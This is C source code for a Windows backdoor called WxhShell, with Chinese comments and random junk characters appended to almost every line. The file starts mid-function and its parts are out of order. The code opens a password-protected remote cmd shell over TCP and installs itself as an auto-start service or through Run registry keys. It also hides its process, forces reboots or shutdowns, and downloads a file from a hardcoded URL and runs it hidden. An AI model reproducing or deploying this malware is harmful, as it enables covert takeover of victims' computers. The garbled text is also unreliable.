    if(Boot(SHUTDOWN)) &.+n L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s{1Deek=  
    else { `PQ?8z|  
    closesocket(wsh); niBjq#bJi  
    ExitThread(0); |%2/I>o  
    } 9QX ~a X  
    break; )$l9xx[  
    } OW63^wA`s  
  // 获取shell iSZctsqE  
  case 's': { -A-hxK*^  
    CmdShell(wsh); </+%R"`  
    closesocket(wsh); !%Hl#Pv}  
    ExitThread(0); {LB }v;?l  
    break; 9J2q`/6~e  
  } ;mo\ yW1  
  // 退出 Wd^F%)(  
  case 'x': { Bah.\ZsYQP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  ^ :  
    CloseIt(wsh); oM18aR&  
    break; #iR yjD  
    } @o3R`ZgC]\  
  // 离开 c:@OX[##  
  case 'q': { ]9KQP-p'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cAKoPU>U  
    closesocket(wsh); /BjGAa(  
    WSACleanup(); w.T=Lzp  
    exit(1); .j:.WnW  
    break; ^M"=A}h  
        } Rvu3Qo+  
  } ~J. Fl[  
  } FVC2XxP  
<*r<+S   
  // 提示信息 }n2-*{)x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aaqd:N)  
} O{i_?V_  
  } &JXHDpd$a^  
U>plv  
  return; xvx\H'  
} g+KzlS[6  
Rbj+P;t&  
// shell模块句柄 Kt4\&l-De  
int CmdShell(SOCKET sock) z:i X]df  
{ w /W Cj4`  
STARTUPINFO si; fN"oa>X  
ZeroMemory(&si,sizeof(si)); -'H+lrmv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Br ^rK}|l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !OZh fMVd  
PROCESS_INFORMATION ProcessInfo; *a4b`HRT  
char cmdline[]="cmd"; ?N!j.E4=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }N#>q.M  
  return 0; _iboTcUF  
} |3<ehvKy  
uuUVE/^V'  
// 自身启动模式 WKrZTPD'm  
int StartFromService(void) wD?=u\% &  
{ .e _D3Xp<  
typedef struct VG'(   
{ [P&,}o)+E0  
  DWORD ExitStatus; #G!Adj+p5  
  DWORD PebBaseAddress; 'MdE}  
  DWORD AffinityMask; y~A7pzBZ=  
  DWORD BasePriority; l-^XW?CfL  
  ULONG UniqueProcessId; H;t8(-F@'  
  ULONG InheritedFromUniqueProcessId; 't]EkH]BC  
}   PROCESS_BASIC_INFORMATION; da?th  
!^w\$cw&  
PROCNTQSIP NtQueryInformationProcess; 18/@:u{  
M(h H#_ $  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;\*Od?1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,@>rubUz  
f`9rT c  
  HANDLE             hProcess; -SY:qG3?  
  PROCESS_BASIC_INFORMATION pbi; |nH0~P#!  
#c)Ou!Ldb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j3[OY  
  if(NULL == hInst ) return 0; @`y?\fWh  
gJ GBD9wC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nog\,NT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i{FC1tVeL_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9hs{uxwuEE  
Obc3^pV&  
  if (!NtQueryInformationProcess) return 0; Ae_ E;[mj  
;gW|qb+#)j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FTYLMQ i  
  if(!hProcess) return 0; 4 TQISu)  
4tTZkJc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;   [aS)<^  
U)/Ul>dY  
  CloseHandle(hProcess); rDx],O _  
f93X5hFnF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {kRC!}  
if(hProcess==NULL) return 0; e "adkV  
Z8dN0AqZ  
HMODULE hMod; mV(x&`Cx  
char procName[255]; :XQ  
unsigned long cbNeeded; 'lRHdD}s  
_TN$c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &|{,4V0%A  
c+)|o!d  
  CloseHandle(hProcess); .sR&9FH  
D_ZBx+/_?  
if(strstr(procName,"services")) return 1; // 以服务启动 S,tVOxs^  
8m[L]6F(-z  
  return 0; // 注册表启动 s=~7m.m  
} *,[=}v1  
"!/_h >  
// 主模块 re7\nZ<\|  
int StartWxhshell(LPSTR lpCmdLine) iM/0Yp-v'>  
{ Nt^&YE7d:  
  SOCKET wsl; >(6\ C  
BOOL val=TRUE; rnhf(K.{3  
  int port=0; 75}u D  
  struct sockaddr_in door; ?{z$ { bD  
0(g MR  
  if(wscfg.ws_autoins) Install(); u[|S*(P  
z%dlajY m:  
port=atoi(lpCmdLine); U?^|>cMr  
P_g0G#`4  
if(port<=0) port=wscfg.ws_port; T\s#-f[x  
 ;yER V  
  WSADATA data; ^-;Z8M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }7 z+  
$)7f%II  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R:R@sU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -*q2Y^A^l  
  door.sin_family = AF_INET; bfI -!,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u R%R]X  
  door.sin_port = htons(port); }0nB' 0|y  
_r5Ild @n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (@o />T  
closesocket(wsl); }qdJ8K  
return 1; LXF%~^^@d  
} j6HbJ#]  
2y7q x1$C  
  if(listen(wsl,2) == INVALID_SOCKET) { 446hrzW>@  
closesocket(wsl); nW%=k!''  
return 1; p33GKg0i+(  
} vhEs+ j  
  Wxhshell(wsl); molowPI  
  WSACleanup(); n rB27  
![!b^:f  
return 0; *g41"Cl  
5XUI7Q%  
} ?HyioLO  
e CUcE(  
// 以NT服务方式启动 ZWW8Hr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &8i{'k,l  
{ 9qy 9  
DWORD   status = 0; }o:sx/=u_  
  DWORD   specificError = 0xfffffff; `oWjq6  
n4&j<zAV{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ']Xx#U N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (g:W|hS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <\~#\A=;  
  serviceStatus.dwWin32ExitCode     = 0; B@vH1T  
  serviceStatus.dwServiceSpecificExitCode = 0; ,:4w$!;  
  serviceStatus.dwCheckPoint       = 0; }UdqX1jz  
  serviceStatus.dwWaitHint       = 0; E d/O\v@  
)-"L4TC)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *dTf(J  
  if (hServiceStatusHandle==0) return; lFV|GJ  
RX\O'Zwlj  
status = GetLastError(); @N{Ht)1r  
  if (status!=NO_ERROR) |+~2sbM  
{ q;Pz B4#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3D dG$@  
    serviceStatus.dwCheckPoint       = 0; v~cW:I  
    serviceStatus.dwWaitHint       = 0; (4{9 QO  
    serviceStatus.dwWin32ExitCode     = status; FN`kSTm*0!  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1CVaGD^r{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r3vj o(  
    return; XRz6Yf(/  
  } ^ 6|"=+cO\  
\)uad5`N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w|o@r%Q#l  
  serviceStatus.dwCheckPoint       = 0; QaBXzf   
  serviceStatus.dwWaitHint       = 0; XJ?z{gXJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +`3ZH9  
} -y*+G&  
(UT*T  
// 处理NT服务事件,比如:启动、停止 .T-p]9*p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GnaV I  
{ cS7!,XC  
switch(fdwControl) R_&z2I  
{ 8|Y^Jn\p5u  
case SERVICE_CONTROL_STOP: W3rvKqdw5  
  serviceStatus.dwWin32ExitCode = 0; S IK{GWX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /n7,B}  
  serviceStatus.dwCheckPoint   = 0; E8<i PTJs  
  serviceStatus.dwWaitHint     = 0; P`9A?aG.Z  
  { {Dq51  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L1 VTq9[3  
  } <!>}t a  
  return; %~2m$#)  
case SERVICE_CONTROL_PAUSE: ^v|!(h\ZC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -- FtFo  
  break; ,peE'   
case SERVICE_CONTROL_CONTINUE: Bys|i0tb-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p'}%pAY  
  break; 4344PBj  
case SERVICE_CONTROL_INTERROGATE: @cGql=t  
  break; bM3e7olWS  
}; AR3=G>hO,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L"/ato  
} D9C; JD  
CnYX\^Ow  
// 标准应用程序主函数 k8V0-.UL}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Wh_c<E}&  
{ CI'5JOqP  
1dsxqN(:  
// 获取操作系统版本 ^ s4|  
OsIsNt=GetOsVer(); >C3 9`1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [1CxMk~"[  
;gV8f{X{Z  
  // 从命令行安装 9E?>B3t^  
  if(strpbrk(lpCmdLine,"iI")) Install(); \ y",Qq?  
oP 0j>i,"&  
  // 下载执行文件 h--bN*}H2  
if(wscfg.ws_downexe) { HI 61rXNF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7HFO-r118  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0eP~F2<bC  
} kyB]fmS  
p~ItHwiT  
if(!OsIsNt) { 0u\@-np  
// 如果时win9x,隐藏进程并且设置为注册表启动 l}/UriZ0  
HideProc(); pBkPn+@  
StartWxhshell(lpCmdLine); R&xd ic!  
} *2;3~8Y  
else L 3@wdC ~0  
  if(StartFromService()) c= u ORt>  
  // 以服务方式启动 heA\6W:u&  
  StartServiceCtrlDispatcher(DispatchTable); jqedHn x  
else a!]%@A6p  
  // 普通方式启动 C\D4C]/8  
  StartWxhshell(lpCmdLine); 0fU>L^P_?  
blv6  
return 0; f}eVfAf  
} B.#0kjA}  
Z5A<TC/:  
w2[R&hJ  
.`XA6e(8KR  
=========================================== $@;[K \  
Qpq0j^\  
{*9i}w|2  
?]N&H90^5  
Q-5wI$=  
bmpB$@  
" t+ ]+Gn  
,#l oVLy  
#include <stdio.h> .*"IJD9  
#include <string.h> U+ =q_ <  
#include <windows.h> rfoCYsX'  
#include <winsock2.h> o9>X"5CmX  
#include <winsvc.h> yI<'J^1C[  
#include <urlmon.h> I|H mbTXa  
i,T{SV  
#pragma comment (lib, "Ws2_32.lib") N0PX<$y  
#pragma comment (lib, "urlmon.lib") YeJdkt  
p4 PFoFo2  
#define MAX_USER   100 // 最大客户端连接数 &tIm  
#define BUF_SOCK   200 // sock buffer r%i{a  
#define KEY_BUFF   255 // 输入 buffer eSU8/9B  
n3\vq3^?  
#define REBOOT     0   // 重启 vcHDFi  
#define SHUTDOWN   1   // 关机 WAbhB A  
l1 S1CS  
#define DEF_PORT   5000 // 监听端口 K<tg+(3  
JnDR(s4(E  
#define REG_LEN     16   // 注册表键长度 E?uv&evPK7  
#define SVC_LEN     80   // NT服务名长度 CjGI}t  
A )cb  
// 从dll定义API HZ3<}`P_W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _guY%2% yR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (k~c]N)v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v*LL7b0 A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kw|`y %~  
ZlzFmNe60  
// wxhshell配置信息 { L5m`-x  
struct WSCFG { ~-/AKaK}  
  int ws_port;         // 监听端口 m/AN*` V  
  char ws_passstr[REG_LEN]; // 口令 O{V"'o  
  int ws_autoins;       // 安装标记, 1=yes 0=no qDW/8b\^  
  char ws_regname[REG_LEN]; // 注册表键名 PdZSXP4;k  
  char ws_svcname[REG_LEN]; // 服务名 G'Y|MCKz>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y6oDbwke  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i747( ^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iDsjIW\j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X(\RA.64  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {PKER$C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u[DV{o  
n9^zAcUbAW  
}; o%a$m9I  
3'wBX  
// default Wxhshell configuration M*N8p]3Cq  
struct WSCFG wscfg={DEF_PORT, )UJMmw\  
    "xuhuanlingzhe", D[mYrWHpn  
    1, jI%yi-<;  
    "Wxhshell", gNeCnf#Xa  
    "Wxhshell", )j]RFt  
            "WxhShell Service", Lnzhs;7L  
    "Wrsky Windows CmdShell Service", ;Mz]uk  
    "Please Input Your Password: ", 7Fp2=j  
  1, X)~-MY*p  
  "http://www.wrsky.com/wxhshell.exe", iu'yB  
  "Wxhshell.exe" :lAR;[WFS  
    }; (hoqLL\}k  
xjYFTb}!  
// 消息定义模块 ;z68`P-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =3'wHl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _u0dt) $  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h| Ih4  
char *msg_ws_ext="\n\rExit."; ;/.ZYTD  
char *msg_ws_end="\n\rQuit."; ~U|te_l  
char *msg_ws_boot="\n\rReboot..."; @WmB0cc_  
char *msg_ws_poff="\n\rShutdown..."; JpDkf$kM  
char *msg_ws_down="\n\rSave to "; ^RyrUb  
>7 |37a  
char *msg_ws_err="\n\rErr!"; kL-+V)Kl  
char *msg_ws_ok="\n\rOK!"; -Da_#_F  
IYWD_}_ $  
char ExeFile[MAX_PATH]; A{QS+fa/  
int nUser = 0; 19S,>  
HANDLE handles[MAX_USER];  x^"OH  
int OsIsNt; @;0Ep 0[  
-3fvO~  
SERVICE_STATUS       serviceStatus; P1kd6]s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [,dsV d  
:MVD83?4  
// 函数声明 a'Z"Yz^Eo  
int Install(void); ktCh*R[`  
int Uninstall(void); F2&KTK  
int DownloadFile(char *sURL, SOCKET wsh); G>Q{[m$  
int Boot(int flag); <  5ow81  
void HideProc(void); . XmD[=  
int GetOsVer(void); :X^B1z3X4  
int Wxhshell(SOCKET wsl); Buo1o&&  
void TalkWithClient(void *cs); L4!$bB~L-  
int CmdShell(SOCKET sock);  7;XdTx  
int StartFromService(void); _AFgx8  
int StartWxhshell(LPSTR lpCmdLine); jHd~yCq  
pr2d}~q4{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AXyuXB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SG~R!kN}Q  
cH#` f4  
// 数据结构和表定义 d+(~{xK:  
SERVICE_TABLE_ENTRY DispatchTable[] = Jd |hwvwFe  
{ WIg"m[aIs  
{wscfg.ws_svcname, NTServiceMain}, r~sGot+sQA  
{NULL, NULL} L{42?d  
}; 6V)#Yf  
l$FHL2?Cp  
// 自我安装 it.l;L_nW  
int Install(void) mp#5V c  
{ . &e,8  
  char svExeFile[MAX_PATH]; Y/ `fPgE  
  HKEY key; gnv4.f:  
  strcpy(svExeFile,ExeFile); [L8gG.wy  
3laSPih[.  
// 如果是win9x系统,修改注册表设为自启动 PtHT>  
if(!OsIsNt) { u$0>K,f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8S0)_L#S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w4OVfTlN  
  RegCloseKey(key); K46\Rm_:B;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g$< @!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R}0c O^V  
  RegCloseKey(key); S^_na]M"4  
  return 0; /XXW4_>  
    } th]9@7UE,  
  } -Xj+7}4  
} (]ORB0kl  
else { znM"P|A  
S\C   
// 如果是NT以上系统,安装为系统服务 u+Li'Ug  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d.{RZq2cp  
if (schSCManager!=0) 1:,aFp>qr  
{ mJT7e  
  SC_HANDLE schService = CreateService ua0k)4|  
  ( Sh"} c2  
  schSCManager, w,\Ua&>4  
  wscfg.ws_svcname, 03MB,  
  wscfg.ws_svcdisp, ZXco5,1  
  SERVICE_ALL_ACCESS, k -SUp8}g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Dr;@)  
  SERVICE_AUTO_START, w}'E]y2.  
  SERVICE_ERROR_NORMAL,  ~d }-  
  svExeFile, L<E`~\C'  
  NULL, bNqjjg  
  NULL, Abj`0\  
  NULL, Bdq/Ohw|!  
  NULL, 7_JK2  
  NULL W2n%D& PE  
  ); "xh]>_;&'  
  if (schService!=0) W nVX)o  
  { )]/!:I4e  
  CloseServiceHandle(schService); ~oOOCB  
  CloseServiceHandle(schSCManager); TfJB;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GE"#.J4z  
  strcat(svExeFile,wscfg.ws_svcname); tnp]wZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rtY0?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^*iZN =\  
  RegCloseKey(key); Gs-'  
  return 0; \ Xuu|]  
    } N?~K9jGx(  
  } w{0UA6+  
  CloseServiceHandle(schSCManager); ;VvqKyUh7`  
} #j@Su )+  
} eX}uZR  
VDscZt)y8  
return 1; `/#6k>  
} E9 |i:  
iLFF "Hs  
// 自我卸载 5^tL#  
int Uninstall(void) +lE 9*Gs_$  
{ yaeX-'(Fv[  
  HKEY key; k{9s>l~'  
5HmX-+XpK  
if(!OsIsNt) { Xmtq~}K>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7XdLZ4ub  
  RegDeleteValue(key,wscfg.ws_regname); @ij}|k%*  
  RegCloseKey(key); nE,"3X"   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D7 .R NXo  
  RegDeleteValue(key,wscfg.ws_regname); @v|_APy#  
  RegCloseKey(key); YT#" HYO  
  return 0; [_${N,1  
  } r] 2}S=[  
} st pa2z  
} W<kJ%42^j  
else { Al 0zL  
3pm;?6i6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); " >;},$  
if (schSCManager!=0) L7 qim.J  
{ AWGeK-^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8W#whK2El  
  if (schService!=0) (0^u  
  { :)bm+xWFF  
  if(DeleteService(schService)!=0) { is`le}$^y  
  CloseServiceHandle(schService); 5y@JMQSO  
  CloseServiceHandle(schSCManager); Uw4KdC  
  return 0; 3<?#*z4]_  
  } I lvjS^j  
  CloseServiceHandle(schService); <0pBu7a  
  } O7:JG[tR*  
  CloseServiceHandle(schSCManager); Haiuf)a  
} #m|AQr|  
} 6f0 WN  
NO"=\Zn6  
return 1; r\a9<nZ{  
} wn5CaP(]8  
->:G+<  
// 从指定url下载文件 2{g~6 U.  
int DownloadFile(char *sURL, SOCKET wsh) Hb IRE  
{ K6_{AuL}4  
  HRESULT hr; %J7 ;b<}To  
char seps[]= "/"; H7*/  
char *token; +.5 /4?  
char *file; |no '^  
char myURL[MAX_PATH]; *cJ GrLC  
char myFILE[MAX_PATH]; 9aYCU/3  
 H 2\KI(  
strcpy(myURL,sURL); d+Pfi)+(I  
  token=strtok(myURL,seps); BY6QJkI9x  
  while(token!=NULL) PWx2<t<;9  
  { &`GQS|  
    file=token; StA5h+[m  
  token=strtok(NULL,seps); $ ^m_M.1  
  } JT,8/o  
\Ua"gS2L  
GetCurrentDirectory(MAX_PATH,myFILE); 4mPCAA7  
strcat(myFILE, "\\"); ^HQg$}=  
strcat(myFILE, file); rl[&s\[  
  send(wsh,myFILE,strlen(myFILE),0); }`M[%]MNc  
send(wsh,"...",3,0); [@_}BZk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !ai, \  
  if(hr==S_OK) ;)~loa1\  
return 0; m^%[  
else 0k0 y'1SL  
return 1; G)M9to  
MW6d-  
} S2h?Q $e3  
D`2Iy.|!  
// 系统电源模块 Mq8jPjL  
int Boot(int flag) NAlYfbp  
{ +t})tDPXw  
  HANDLE hToken; a3sXl+$D@  
  TOKEN_PRIVILEGES tkp; a>G|t5w  
s -~Tf|  
  if(OsIsNt) { -!k"*P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vn9_tL&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); he;&KzEu  
    tkp.PrivilegeCount = 1; MkF:1-=L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y FL9Q<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0Ou`& u  
if(flag==REBOOT) { ?n8gB7(FA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;gu_/[P  
  return 0; U8PSJ0ny  
} EQET:a:g  
else { JF IUD{>fp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Yc BY[i0  
  return 0; %c*azo.  
} M`-.0  
  } cF7I  
  else { FcB]wz  
if(flag==REBOOT) { #%rXDGDS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rp (nGiI  
  return 0; c~K^ooS-  
} PTXy:>]M  
else { TL U^ad#9E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _p"nR  
  return 0; hS/oOeG<Y  
} 6Xu8~%i  
} uhz:G~x!  
b)tvXiO1>  
return 1; 3i/$YX5@  
} <b~KR8  
^w/_hY!4/  
// win9x进程隐藏模块 qM~ev E$%  
void HideProc(void) SxdH %agM  
{ /pt%*;H  
\cP\I5IW:s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >gtKyn]  
  if ( hKernel != NULL ) T \5 5uQ  
  { bwR24>8lP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hz\Fq1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V\^3I7F  
    FreeLibrary(hKernel); yCy4t6`e  
  } ,A T!:&<X  
NguJ[  
return; 0'{0kE[wn  
} /f@VRME  
nw){}g  
// 获取操作系统版本 BWamF{\d1a  
int GetOsVer(void) O]o `! c  
{ B{^o}:e  
  OSVERSIONINFO winfo; HS =qK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l8/ tR  
  GetVersionEx(&winfo); 2| $  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mf ^=tZ  
  return 1; B`3RyM"J@  
  else :Y`cgi0vkd  
  return 0; ![YLY&}s  
} $@<qaR{t\  
8.3888  
// 客户端句柄模块 B#9rqC  
int Wxhshell(SOCKET wsl) Z[[ou?c  
{ cLj@+?/  
  SOCKET wsh; O:cta/M  
  struct sockaddr_in client; c%9wI*l  
  DWORD myID; o7' cC?u  
@.T(\Dq^  
  while(nUser<MAX_USER) `OO=^.-u  
{ @5+ JXD  
  int nSize=sizeof(client); ]:m>pI*z.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d~1Nct$:  
  if(wsh==INVALID_SOCKET) return 1; pCS2sq8RC  
6m"_=.k%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %T4htZa  
if(handles[nUser]==0) b1Bu5%bt,:  
  closesocket(wsh); KLK '_)|CT  
else m_{OCHS+  
  nUser++; P{v>o,a.  
  } ;`Eie2y{M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c |OIUc  
-h+=^,  
  return 0; O) NEt  
} VDq4n;p1  
k$1ya7-@  
// 关闭 socket H. UwM  
void CloseIt(SOCKET wsh)  W|XTa  
{ E#?*6/  
closesocket(wsh); S(<r-bV<  
nUser--; %upnXRzw  
ExitThread(0); EkS7j>:  
} q|,cMPS3  
HO%atE$>  
// 客户端请求句柄 bkk1_X  
void TalkWithClient(void *cs) R L&z\S  
{ -7\Rl3c  
SEsc"l8  
  SOCKET wsh=(SOCKET)cs; ckFnQhW  
  char pwd[SVC_LEN]; R r7r5  
  char cmd[KEY_BUFF]; d1$3~Xl]  
char chr[1]; Blv!%es  
int i,j; Z |wM  
SJ$N]<d  
  while (nUser < MAX_USER) { (GB2("p`  
h&d%#6mB  
if(wscfg.ws_passstr) { <>\s#Jf/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PF5;2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pJ kaP  
  //ZeroMemory(pwd,KEY_BUFF); &iCE/  
      i=0; vM@2C'  
  while(i<SVC_LEN) { U%oh ?g  
3~ITvH,`s  
  // 设置超时 ]4f;%pE  
  fd_set FdRead; <j"}EEb^  
  struct timeval TimeOut; m:|jv|f  
  FD_ZERO(&FdRead); Esh3 cn4  
  FD_SET(wsh,&FdRead); NMq#D$T  
  TimeOut.tv_sec=8; <%WN<T{q|  
  TimeOut.tv_usec=0; Z@ AHe`A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h#a;(F4_7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pUtd_8  
*PQu9>1w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v,z s dr"d  
  pwd=chr[0]; %Ci`O hT  
  if(chr[0]==0xd || chr[0]==0xa) { Z^?1MJ:`  
  pwd=0; U(#)[S,  
  break; eHr|U$Rpo  
  } oL?(; `"&  
  i++; ? tre)  
    } +%vBDcf  
+c&n7  
  // 如果是非法用户,关闭 socket i oCoFj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jM`)N d  
} P&PPX#%  
{;.q?mj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ).aQ}G wx^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h_Ky2IB$  
90JD`Nz  
while(1) { l !VPk"s  
g%()8QxE1  
  ZeroMemory(cmd,KEY_BUFF); l(X8 cHAi  
Bx R% \  
      // 自动支持客户端 telnet标准   z"/Mva3|  
  j=0; 4u} "ng   
  while(j<KEY_BUFF) { |GPR3%9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 27mGX\T  
  cmd[j]=chr[0]; !O=?n<Ex"  
  if(chr[0]==0xa || chr[0]==0xd) { =@%;6`AVcp  
  cmd[j]=0; B&^WRM;7t  
  break; ke.{wh\0  
  } VrL==aTYXs  
  j++; .XPcH(q  
    } e.pm`%5bO  
1 o<l;:  
  // 下载文件 !: e(-  
  if(strstr(cmd,"http://")) { c)H (w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wn;B~  
  if(DownloadFile(cmd,wsh)) q-c9YOz_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z9cg,#(D  
  else [e1kfw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hg)5c!F7  
  } >~O36q^w  
  else { RQ?T~ASs  
/18Z4TA  
    switch(cmd[0]) { R#j -Z#/"  
  rMDo5Z2  
  // 帮助 Hya  ";'  
  case '?': { 5rG&Z5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t;BvKH77  
    break; ENu`@S='I3  
  } vfID@g`!q+  
  // 安装 3{e7j6u\  
